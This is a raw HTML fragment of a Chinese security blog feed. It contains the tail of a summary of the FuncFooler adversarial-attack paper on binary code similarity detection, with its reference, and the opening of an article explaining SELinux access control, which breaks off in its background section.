src="https://wechat2rss.xlab.app/img-proxy/?k=8f87c02a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUzibs10O2LOfexwhzCbTdh6k3sH4z3qwLmRu3u3LGJ25zkQbicSl3aP9Q%2F640%3Fwx_fmt%3Dpng"/>在两个基准上都提高了50%到100%。通过使用<img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2512690355329949" data-s="300,640" style="height: 22px;color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;white-space: pre-wrap;background-color: rgb(255, 255, 255);text-align: center;width: 87px;" data-type="png" data-w="394" src="https://wechat2rss.xlab.app/img-proxy/?k=77656426&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUwmhq8iaDBksPicOeXWgIiaAYhSq6DqH50GmSWoFHFsapPmgQNnXLtlZHg%2F640%3Fwx_fmt%3Dpng"/>生成的对抗样例训练模型，可以增强模型对攻击的鲁棒性。然而，经过重新训练的模型还不足以完全防御<img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2512690355329949" data-s="300,640" style="height: 22px;color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;white-space: pre-wrap;background-color: rgb(255, 255, 255);text-align: center;width: 87px;" data-type="png" data-w="394" src="https://wechat2rss.xlab.app/img-proxy/?k=77656426&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQdWaMV8hkqxUCMic3v4yibnUwmhq8iaDBksPicOeXWgIiaAYhSq6DqH50GmSWoFHFsapPmgQNnXLtlZHg%2F640%3Fwx_fmt%3Dpng"/>的攻击。</span></p><h2 cid="n0" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">参考文献</span></h2><p style="text-align: left;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">Jia L, Tang B, Wu C, et al. FuncFooler: A
Practical Black-box Attack Against Learning-based Binary Code Similarity
Detection Methods[J]. arXiv preprint arXiv:2208.14191, 2022.</span></p><p style="text-align: left;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">论文地址：</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;"><a href="https://arxiv.org/abs/2208.14191" target="_blank">https://arxiv.org/abs/2208.14191</a></span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">。</span></p><p style="text-align: left;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;">注：本文图片均来源于以上论文</span></p><section style="outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);font-size: 16px;widows: 1;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" style="outline: 0px;max-width: 100%;display: flex;justify-content: center;align-items: center;width: 677px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" style="outline: 0px;max-width: 100%;display: flex;justify-content: center;align-items: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" msthidden="1" style="outline: 0px;max-width: 100%;width: 6px;height: 6px;transform: translateX(14px);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="12" style="outline: 0px;display: block;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 12px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=d6229ea8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FasLg7via5ibAkf1mRkpS4IuZibZE5eeC0t8nibIZBfZEekibOEZVWyf9jHzIVvT2sTzKS1OtZzSBErxJUZXD1AwAAWw%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section data-mid="" mpa-from-tpl="t" style="padding-right: 4px;padding-left: 4px;outline: 0px;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p data-mid="" msthash="2289326" msttexthash="12647050" style="padding-right: 16px;padding-left: 16px;outline: 0px;max-width: 100%;font-size: 14px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(27, 110, 201);line-height: 20px;border-bottom: 1px solid rgb(27, 110, 201);text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;">往期回顾</p></section><section data-mid="" mpa-from-tpl="t" msthidden="1" style="outline: 0px;max-width: 100%;width: 6px;height: 6px;transform: translateX(-14px);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="12" style="outline: 0px;display: block;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 12px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=cb9bc775&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FicjDF5uGXY5ibE0P0Mtzns3KNb5hsCIKPfMIRultHDbmzgJcDaibI4wNKM6ZloyGRtRovyXtVdv3SuuVOcmA8gn8A%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section></section></section><h1 style="margin-bottom: 14px;outline: 0px;font-size: 22px;line-height: 1.4;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-align: center;white-space: normal;background-color: rgb(255, 255, 255);"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484929&amp;idx=1&amp;sn=a7422ee543efe7e2eecf1b5e7ebed14d&amp;chksm=c0ddfc70f7aa756656ac00dfe3908c19aa693c00fed40c78f2447a7e15f3258af1cd65347d95&amp;scene=21#wechat_redirect" textvalue="Linux系统下安全控制策略SELinux解" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2"><span style="font-size: 14px;">Linux系统下安全控制策略SELinux解</span><span style="font-size: 14px;">析</span></a></h1><h1 style="margin-bottom: 14px;font-size: 22px;white-space: normal;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;line-height: 1.4;text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484915&amp;idx=1&amp;sn=82f13aaded590b6134c85928adb82888&amp;chksm=c0ddff82f7aa769489b6d69baa3a2b26bf659e36e0df7191226e029165b5824409e6c916c25c&amp;scene=21#wechat_redirect" textvalue="基于SBERT孪生网络的漏洞描述归一化" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" hasload="1" style="outline: 0px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);cursor: pointer;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">基于SBERT孪生网络的漏洞描述归一化</span></a></h1><h1 msthash="224770" msttexthash="89201775" style="margin-top: 8px;margin-bottom: 14px;outline: 0px;font-size: 22px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;line-height: 1.4;text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484895&amp;idx=1&amp;sn=c290a519e5933467b9b980961e1eca55&amp;chksm=c0ddffaef7aa76b8f9e35758dde6783411df74c299361741f98eea6de9b6593861badf464274&amp;scene=21#wechat_redirect" textvalue="MiraclePtr UAF漏洞利用缓解技术介绍" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" hasload="1" style="outline: 0px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);cursor: pointer;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="271973" msttexthash="110699719" style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">MiraclePtr UAF漏洞利用缓解技术介绍</span></a></h1><p style="outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><section msthidden="1" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;white-space: normal;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.43333333333333335" data-s="300,640" style="outline: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 194px !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9bdadcd1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7lCiaSMMkhia4WIkRNZHTwq8jJicy27jdbWa7ED26252RGmSPRE0rmHQsgZ6ZoichVyFNlvhLelZS09a194B9dyoAQ%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;white-space: normal;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="438322" msttexthash="46068516" style="outline: 0px;max-width: 100%;color: rgb(27, 110, 201);letter-spacing: 2px;box-sizing: border-box !important;overflow-wrap: break-word !important;">引领智能网络攻防科技</span></section><section msthidden="1" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);white-space: normal;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;word-break: break-all;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthidden="1" style="outline: 0px;max-width: 100%;color: rgb(27, 110, 201);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img __bg_gif" data-copyright="0" data-ratio="0.0734375" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 544px !important;" data-type="gif" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=530afaf0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCD1iaLIMEhibPv9rc3gdLj3g6fiaAcCZqIicylIMVKlbvd5ic5usJ2oia9cTgavs6BwQpEEYbfglc82kCJ0Qic3OHMEaw%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></span></section><section data-brushtype="text" style="margin: 15px 1em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);font-size: 16px;widows: 1;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><mp-common-profile data-index="0" data-id="MzU5ODE2NDA3NA==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/7lCiaSMMkhia7dpwexuaibUE3Eb0z03gPLaYB4PHo7G8BE9eAlRk9NoXRfjDMAxXV0OSYSdZS7KPqic8GNUkqxch7g/0?wx_fmt=png" data-nickname="墨云安全" data-alias="moyunsec" data-signature="墨云科技，更智能的网络攻防！" data-origin_num="31" data-is_biz_ban="0" data-isban="0" class="js_wx_tap_highlight" data-from="2" has-insert-preloading="1" data-weui-theme="light"></mp-common-profile></section><section msthash="837304" msttexthash="11380889" style="margin-top: 15px;margin-bottom: 10px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;">点击</span><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-align: start;font-family: Optima-Regular, PingFangTC-light;font-size: 15px;color: rgb(99, 121, 161);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">在看</strong></span></section><section style="margin-top: 5px;margin-bottom: 15px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="837305" msttexthash="16926988" style="outline: 0px;max-width: 100%;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;">分享给小伙伴</span></section><section style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><section style="outline: 0px;max-width: 100%;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="837306" msttexthash="88348169" style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(178, 178, 178);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;">↓</span>↓点击</span><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(99, 121, 161);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">阅读原文</strong></span><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(178, 178, 178);box-sizing: border-box !important;overflow-wrap: break-word !important;">，了解更多墨云信息</span></span></section></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="http://www.vackbot.com">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f68c65e9&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzIxMDUyNg%3D%3D%26mid%3D2247485038%26idx%3D1%26sn%3D3854168edee727201558bcc013be8b4f%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 02 Dec 2022 16:00:00 +0800</pubDate>
    </item>
    <item>
      <title>Linux系统下安全控制策略SELinux解析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484929&amp;idx=1&amp;sn=a7422ee543efe7e2eecf1b5e7ebed14d</link>
      <description>SELinux是增强版Linux，它是一个Linux内核模块，也是Linux的一个安全子系统，主要以内核模块为支持，用户态程序进行权限策略管理。本文将详细介绍其中的实现思想，并对控制策略细节进行分析。</description>
      <content:encoded><![CDATA[<p>
原创 <span>her0back</span> <span>2022-11-04 17:00</span> <span style="display: inline-block;">北京</span>
</p>

<p>SELinux是增强版Linux，它是一个Linux内核模块，也是Linux的一个安全子系统，主要以内核模块为支持，用户态程序进行权限策略管理。本文将详细介绍其中的实现思想，并对控制策略细节进行分析。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=cdbdbde4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplRD8nqJibPs0HZFRIHl2lnicFPZqwLKYiccNic3gIEPLCb83O1QoU1eJgAXVXVGPFV0pI3BqDx6Jt08OQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section msthidden="1" style="margin-right: 8px;margin-left: 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/0NpbNYDUplSVAeJNFpOlXC5uBg86icOw5lWorq5EHkq0S23icUZq77ney00MjKAUXEicQiaeOzjibibNFgJRyS6jL4Yg/0?wx_fmt=png" data-cropx1="0" data-cropx2="500" data-cropy1="0" data-cropy2="386.9047619047619" data-galleryid="" data-ratio="0.772" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 84px !important;" data-type="jpeg" data-w="500" src="https://wechat2rss.xlab.app/img-proxy/?k=ef3468d1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplSVAeJNFpOlXC5uBg86icOw5Hyd9IkZVo0JUSV5nPeVNVriaFQKWJ59ODSQiafWYYvZs3fadU0JPjQ0A%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section style="margin-right: 8px;margin-left: 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="438321" msttexthash="25869584" style="outline: 0px;max-width: 100%;color: rgb(27, 110, 201);font-family: -webkit-standard;widows: 1;font-size: 14px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">VLab-实验室实验室</span></strong></section><section msthidden="1" style="margin-right: 8px;margin-bottom: 0em;margin-left: 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img __bg_gif" data-ratio="0.1875" style="outline: 0px;font-size: 16px;letter-spacing: 0.544px;widows: 1;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 67.691px !important;" data-type="gif" data-w="128" data-width="10%" src="https://wechat2rss.xlab.app/img-proxy/?k=8c660053&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F2TSketEedQ9mmk8nGa8zUv26iapUUPIczjUGSuap1ZqpQO56wnwGGmwkicPphswx7DG3CgAribFoibGw48d3VoQ17g%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></section><section style="margin-right: 8px;margin-bottom: 0em;margin-left: 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><p style="outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">SELinux<span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">（</span><span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">S</span><span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">ecu</span><span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">rity-Enhanced linux</span><span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">）</span>是增强版Linux，简称SELinux，它是一个Linux内核模块，也是Linux的一个安全子系统，主要以内核模块为支持，用户态程序进行权限策略管理。</span></p><h2 cid="n0" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;outline: 0px;font-weight: bold;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;text-indent: 0em;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">背景</span></h2><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">Linux系统下的root权限相当于系统的最高权限，例如，当一个Linux木马程序通过漏洞或钓鱼等方式在用户电脑中执行时，几乎可以完成任何操作，这给Linux系统安全造成了严峻的威胁。</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word 